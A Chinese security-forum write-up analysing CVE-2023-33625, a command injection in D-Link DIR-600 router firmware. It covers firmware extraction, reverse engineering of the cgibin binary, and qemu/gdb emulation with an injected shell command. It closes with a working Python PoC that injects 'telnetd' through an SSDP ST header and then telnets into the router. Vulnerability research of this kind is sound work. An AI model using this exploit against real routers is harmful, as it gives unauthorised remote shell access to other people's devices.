-
-
[原创]CVE-2023-33625分析
-
1天前
931
-
描述
D-Link DIR-600 硬件版本 B5、固件版本 2.18 被发现包含通过 lxmldbc_system() 函数中的 ST 参数的命令注入漏洞。
分析
下载链接:
1 | https: / / www.dlinktw.com.tw / techsupport / download.ashx? file = 3394
|
可以直接用binwalk提取文件系统:
1 | binwalk -Me DIR-600_Bx_FW218WWb01.bin
|
描述中漏洞是在xmldbc_system()函数当中,先用grep命令找一下哪些文件中有xmldbc_system这个字符串:
1 | grep -rn "./" -e xmldbc_system
|
结果:
第一个就是要找的二进制文件,一般路由器等等固件的web都是cgi文件,所以这个是最有可能的。用IDA打开,搜索xmldbc_system()这个函数:
直接复制过去后就交给system函数执行了。
查看一下是哪些函数调用了xmldbc_system()函数:
首先是pigwidgeoncgi_main函数:
传入的是硬编码的字符串,不是这里。
接下来是pigwidgeoncgi_main函数:
可以看到所有的都是没进行过滤的,都是直接拼接的字符串,因此存在命令注入。但是还需要a1等于2,找一下主程序,其伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | int __cdecl main( int argc, const char **argv, const char **envp)
{
const char *v3;
char *v6;
int (*v8)();
int v9;
v3 = *argv;
v6 = strrchr (*argv, 47);
if ( v6 )
v3 = v6 + 1;
......
if ( ! strcmp (v3, "ssdpcgi" ) )
{
v8 = ( int (*)())ssdpcgi_main;
v9 = argc;
return (( int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}
......
printf ( "CGI.BIN, unknown command %s\n" , v3);
return 1;
}
|
可以知道a1指的是参数的个数,也就是通过命令行的方式传一个参数"ssdcgi"就可以了。
利用
调试验证
使用qemu模拟并用gdb调试,使用qemu模拟如下:
1 2 3 4 5 6 | sudo chroot . . /qemu-mipsel-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST= "urn:service:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH -g 12345 . /htdocs/cgibin
|
设置GDB
1 2 3 4 | gdb-multiarch -q
set architecture mips
set endian little
target remote 127.0.0.1:12345
|
连上以后在0x40E408处下断点,然后:
设置a0寄存器的值的原因是因为在ssdpcgi_main函数中会检查参数个数,必须要等于2,所以设置a0为2过检查。
然后在0x40E5BC处下断点,这里是查看一下是否会进入到service这个分支,因为漏洞是在这个分支的:
执行后执行到了0x40E5BC处,说明参数设置生效了,确实到了这个地方。然后在0x413F2C处下断点,这里是调用system函数的指令,主要是为了查看传给system函数的参数是否是拼接过后的命令,设置完断点后直接执行:
s0寄存器的中的值是拼接上ls命令后的字符串。
模拟
直接使用fat或者fap模拟。
1 | python3 fap.py -q . /qemu-builds/2 .5.0/ firmwarePath
|
poc
这个漏洞与CVE-2019-20215挺像的,感觉是一模一样的,因此CVE-2019-20215的poc修改一下就能用,poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import binascii
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1\n"
header + = "HOST:" + str (ip) + ":" + str (port) + "\n"
header + = "ST:urn:service:1;telnetd\n"
header + = "MX:2\n"
header + = 'MAN:"ssdp:discover"' + "\n\n"
return header
def send_conexion(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2 )
sock.sendto(bytes(payload, encoding = "utf8" ), (ip, port))
sock.close()
if __name__ = = "__main__" :
ip = input ( "Router IP: " )
port = 1900
headers = config_payload(ip, port)
send_conexion(ip, port, headers)
sleep( 5 )
os.system( 'telnet ' + str (ip))
|
引用文章
https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md
https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73
议题征集启动!看雪·第七届安全开发者峰会10月23日上海
最后于 1天前
被mangovo编辑
,原因: 未选择话题
文章来源: https://bbs.pediy.com/thread-278218.htm
如有侵权请联系:admin#unsafe.sh